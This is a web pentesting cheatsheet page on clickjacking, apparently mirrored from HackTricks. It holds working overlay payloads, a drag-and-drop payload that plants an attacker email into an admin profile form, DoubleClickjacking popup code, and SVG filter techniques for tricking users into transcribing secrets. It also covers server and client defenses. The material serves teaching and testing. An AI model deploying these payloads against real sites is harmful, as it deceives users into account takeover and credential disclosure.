daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

clickjacking.md (19056B)


      1 ---
      2 title: "Clickjacking"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/clickjacking.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/clickjacking.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Clickjacking
     14 
     15 ## What is Clickjacking
     16 
     17 In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.<sup>[[1]](#references)</sup>
     18 
     19 ### Prepopulate forms trick
     20 
     21 Sometimes it is possible to **prepopulate form fields with query parameters when loading a page**. An attacker may combine this behavior with clickjacking so the victim only has to press the submit button.
     22 
     23 ### Populate form with Drag\&Drop
     24 
     25 If a victim must **fill a form** with attacker-chosen data, a drag-and-drop interaction can write controlled text into the framed form without asking the victim to type it directly.<sup>[[9]](#references)</sup>
     26 
     27 ### Basic Payload
     28 
     29 ```css
     30 <style>
     31    iframe {
     32        position:relative;
     33        width: 500px;
     34        height: 700px;
     35        opacity: 0.1;
     36        z-index: 2;
     37    }
     38    div {
     39        position:absolute;
     40        top:470px;
     41        left:60px;
     42        z-index: 1;
     43    }
     44 </style>
     45 <div>Click me</div>
     46 <iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
     47 ```
     48 
     49 ### Multistep Payload
     50 
     51 ```css
     52 <style>
     53    iframe {
     54        position:relative;
     55        width: 500px;
     56        height: 500px;
     57        opacity: 0.1;
     58        z-index: 2;
     59    }
     60    .firstClick, .secondClick {
     61        position:absolute;
     62        top:330px;
     63        left:60px;
     64        z-index: 1;
     65    }
     66    .secondClick {
     67        left:210px;
     68    }
     69 </style>
     70 <div class="firstClick">Click me first</div>
     71 <div class="secondClick">Click me next</div>
     72 <iframe src="https://vulnerable.net/account"></iframe>
     73 ```
     74 
     75 ### Drag\&Drop + Click payload
     76 
     77 ```css
     78 <html>
     79 <head>
     80 <style>
     81 #payload{
     82 position: absolute;
     83 top: 20px;
     84 }
     85 iframe{
     86 width: 1000px;
     87 height: 675px;
     88 border: none;
     89 }
     90 .xss{
     91 position: fixed;
     92 background: #F00;
     93 }
     94 </style>
     95 </head>
     96 <body>
     97 <div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
     98 <div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
     99 <div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
    100 <iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
    101 <div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
    102 </body>
    103 </html>
    104 ```
    105 
    106 ### XSS + Clickjacking
    107 
    108 If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
    109 Example:\
    110 You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\
    111 An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
    112 
    113 
    114 ### DoubleClickjacking
    115 
    116 DoubleClickjacking asks the victim to double-click an attacker-controlled button, then uses the timing gap between `mousedown` and `click` to place the target page under the pointer so the second click lands on a legitimate target control.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup>
    117 
    118 An example could be seen in this video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
    119 
    120 A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).<sup>[[10]](#references)</sup>
    121 
    122 > [!WARNING]
    123 > This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**.
    124 
    125 
    126 #### Popup-based DoubleClickjacking (no iframes)
    127 
    128 Some PoCs abandon iframes entirely and keep a **background popup** aligned under the cursor. The attacker page tracks `mousemove` and uses a small popup (`window.open`) that is moved with `moveTo()` while it is **same-origin**; once aligned, it is redirected back to the **target origin** so the next click lands on the real button. Because cross‑origin `moveTo()` is blocked, the popup is briefly navigated to an attacker origin for repositioning, then `location`/`history.back()` returns to the target. To surface the target at click time, the attacker can re‑open the popup **with the same window name** to bring it to the foreground without changing the URL.<sup>[[10]](#references)</sup>
    129 
    130 ```html
    131 <script>
    132 let w;
    133 onclick = () => {
    134   if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
    135   onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
    136   // When ready, refocus the already-loaded popup
    137   window.open('', 'pj');
    138 };
    139 </script>
    140 ```
    141 
    142 ### SVG Filters / Cross-Origin Iframe UI Redressing
    143 
    144 Modern Chromium/WebKit/Gecko builds let CSS `filter:url(#id)` be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as `SourceGraphic`, so primitives such as `feDisplacementMap`, `feBlend`, `feComposite`, `feColorMatrix`, `feTile`, `feMorphology`, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM.<sup>[[4]](#references)</sup> A simple Liquid-Glass style filter looks like:
    145 
    146 ```html
    147 <iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
    148 ```
    149 
    150 * Useful primitives: `feImage` loads attacker bitmaps (e.g., overlays, displacement maps); `feFlood` builds constant-color mattes; `feOffset/feGaussianBlur` refine highlights; `feDisplacementMap` refracts/warps text; `feComposite operator="arithmetic"` implements arbitrary per-channel math (`r = k1*i1*i2 + k2*i1 + k3*i2 + k4`), which is enough for contrast boosting, masking, and AND/OR operations; `feTile` crops and replicates pixel probes; `feMorphology` grows/shrinks strokes; `feColorMatrix` moves luma into alpha to build precise masks.
    151 
    152 #### Distorting secrets into CAPTCHA-style prompts
    153 
    154 If a framable endpoint renders secrets (tokens, reset codes, API keys), the attacker can distort them so they resemble a CAPTCHA and coerce manual transcription:
    155 
    156 ```html
    157 <svg width="0" height="0">
    158   <filter id="captchaFilter">
    159     <feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
    160     <feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
    161   </filter>
    162 </svg>
    163 <iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
    164 <input pattern="^6c79 ?7261 ?706f ?6e79$" required>
    165 ```
    166 
    167 The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled `<input>` whose `pattern` enforces the real victim secret.
    168 
    169 #### Recontextualizing victim inputs
    170 
    171 Filters can surgically delete placeholder/validation text while keeping user keystrokes. One workflow:
    172 
    173 1. `feComposite operator="arithmetic" k2≈4` amplifies brightness so grey helper text saturates to white.
    174 2. `feTile` limits the working area to the input rectangle.
    175 3. `feMorphology operator="erode"` thickens the dark glyphs typed by the victim and stores them via `result="thick"`.
    176 4. `feFlood` creates a white plate, `feBlend mode="difference"` with `thick`, and a second `feComposite k2≈100` turns it into a stark luma matte.
    177 5. `feColorMatrix` moves that luma into alpha, and `feComposite in="SourceGraphic" operator="in"` keeps only user-entered glyphs.
    178 6. Another `feBlend in2="white"` plus a thin crop gives a clean textbox, after which the attacker overlays their own HTML labels (e.g., “Enter your email”) while the hidden iframe still enforces the victim origin’s password policy.
    179 
    180 Safari struggles with `feTile`; the same effect can be reproduced with spatial mattes built from `feFlood` + `feColorMatrix` + `feComposite` for WebKit-only payloads.
    181 
    182 #### Pixel probes, logic and state machines
    183 
    184 By cropping a 2–4 px region with `feTile` and tiling it to `100%` of the viewport, the attacker transforms the sampled color into a full-frame texture that can be thresholded into a boolean mask:
    185 
    186 ```html
    187 <filter id="pixelProbe">
    188   <feTile x="313" y="141" width="4" height="4" />
    189   <feTile x="0" y="0" width="100%" height="100%" result="probe" />
    190   <feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
    191   <feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
    192   <feGaussianBlur in="SourceGraphic" stdDeviation="2" />
    193   <feComposite operator="in" in2="mask" />
    194   <feBlend in2="SourceGraphic" />
    195 </filter>
    196 ```
    197 
    198 For arbitrary colors, a `feFlood` reference (e.g., `#0B57D0`) plus `feBlend mode="difference"` and another arithmetic composite (`k2≈100`, `k4` as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into `feComposite` with tuned `k1..k4` yields logic gates: `AND` via `k1=1`, `OR` via `k2=k3=1`, `XOR` via `feBlend mode="difference"`, `NOT` via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.
    199 
    200 Attackers can therefore read UI state without JavaScript. Example booleans from a modal workflow:
    201 
    202 - **D** (dialog visible): probe a darkened corner and test against white.
    203 - **L** (dialog loaded): probe the coordinates where the button appears once ready.
    204 - **C** (checkbox checked): compare the checkbox pixel against the active blue `#0B57D0`.
    205 - **R** (red success/failure banner): use `feMorphology` and red thresholds inside the banner rectangle.
    206 
    207 Each detected state gates a different overlay bitmap embedded via `feImage xlink:href="data:..."`. Masking those bitmaps with `D`, `L`, `C`, `R` keeps the overlays synchronized with the real dialog and walks the victim through multi-step workflows (password resets, approvals, destructive confirmations) without ever exposing the DOM.
    208 
    209 ### Sandboxed iframe Basic Auth dialog (no allow-popups)
    210 
    211 A sandboxed iframe without `allow-popups` can still surface a browser-controlled **HTTP Basic Authentication modal** when a load returns `401` with `WWW-Authenticate`. The dialog is spawned by the browser’s networking/auth layer (not JS `alert/prompt/confirm`), so popup restrictions in the sandbox do **not** suppress it. If you can script the iframe (e.g., `sandbox="allow-scripts"`) you can navigate it to any endpoint issuing a Basic Auth challenge:
    212 
    213 ```html
    214 <iframe id="basic" sandbox="allow-scripts"></iframe>
    215 <script>
    216   basic.src = "https://httpbin.org/basic-auth/user/pass"
    217 </script>
    218 ```
    219 
    220 Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials.<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup><sup>[[7]](#references)</sup>
    221 
    222 ### Browser extensions: DOM-based autofill clickjacking
    223 
    224 Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.<sup>[[3]](#references)</sup>
    225 
    226 
    227 A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.<sup>[[8]](#references)</sup>
    228 
    229 - For concrete techniques and PoCs see:
    230 [Browext Clickjacking](/hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking)
    231 
    232 ## Strategies to Mitigate Clickjacking
    233 
    234 ### Client-Side Defenses
    235 
    236 Scripts executed on the client side can perform actions to prevent Clickjacking:
    237 
    238 - Ensuring the application window is the main or top window.
    239 - Making all frames visible.
    240 - Preventing clicks on invisible frames.
    241 - Detecting and alerting users to potential Clickjacking attempts.
    242 
    243 However, these frame-busting scripts may be circumvented:
    244 
    245 - **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support.
    246 - **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g.,
    247 
    248 ```html
    249 <iframe
    250   id="victim_website"
    251   src="https://victim-website.com"
    252   sandbox="allow-forms allow-scripts"></iframe>
    253 ```
    254 
    255 The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.<sup>[[2]](#references)</sup>
    256 
    257 ### Server-Side Defenses
    258 
    259 #### X-Frame-Options
    260 
    261 The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
    262 
    263 - `X-Frame-Options: deny` - No domain can frame the content.
    264 - `X-Frame-Options: sameorigin` - Only the current site can frame the content.
    265 - `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page.
    266   - Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
    267 
    268 #### Content Security Policy (CSP) frame-ancestors directive
    269 
    270 **`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:
    271 
    272 - `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`.
    273 - `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`.
    274 - `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`.
    275 
    276 For instance, the following CSP only allows framing from the same domain:
    277 
    278 `Content-Security-Policy: frame-ancestors 'self';`
    279 
    280 Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
    281 
    282 ### Content Security Policy (CSP) with `child-src` and `frame-src`
    283 
    284 **Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
    285 
    286 #### `frame-src` Directive
    287 
    288 - Defines valid sources for frames.
    289 - More specific than the `default-src` directive.
    290 
    291 ```text
    292 Content-Security-Policy: frame-src 'self' https://trusted-website.com;
    293 ```
    294 
    295 This policy allows frames from the same origin (self) and https://trusted-website.com.
    296 
    297 #### `child-src` Directive
    298 
    299 - Introduced in CSP level 2 to set valid sources for web workers and frames.
    300 - Acts as a fallback for frame-src and worker-src.
    301 
    302 ```text
    303 Content-Security-Policy: child-src 'self' https://trusted-website.com;
    304 ```
    305 
    306 This policy allows frames and workers from the same origin (self) and https://trusted-website.com.
    307 
    308 **Usage Notes:**
    309 
    310 - Deprecation: child-src is being phased out in favor of frame-src and worker-src.
    311 - Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used.
    312 - Strict Source Definition: Include only trusted sources in the directives to prevent exploitation.
    313 
    314 #### JavaScript Frame-Breaking Scripts
    315 
    316 Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example:
    317 
    318 ```javascript
    319 if (top !== self) {
    320   top.location = self.location
    321 }
    322 ```
    323 
    324 #### Employing Anti-CSRF Tokens
    325 
    326 - **Token Validation:** Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.
    327 
    328 ## References
    329 
    330 - [1] [Clickjacking (PortSwigger Web Security Academy)](https://portswigger.net/web-security/clickjacking)
    331 - [2] [Clickjacking Defense Cheat Sheet (OWASP)](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
    332 - [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)
    333 - [4] [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/)
    334 - [5] [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html)
    335 - [6] [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872)
    336 - [7] [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321)
    337 - [8] [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue)
    338 - [9] [Clickjacking to Account Takeover via Drag&Drop](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)
    339 - [10] [DoubleClickjacking: a New Era of UI Redressing (Paulos Yibelo)](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)
    340 - [11] [DoubleClickjacking: Clickjacking on major websites (Security Affairs)](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)
    341 - [12] [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html)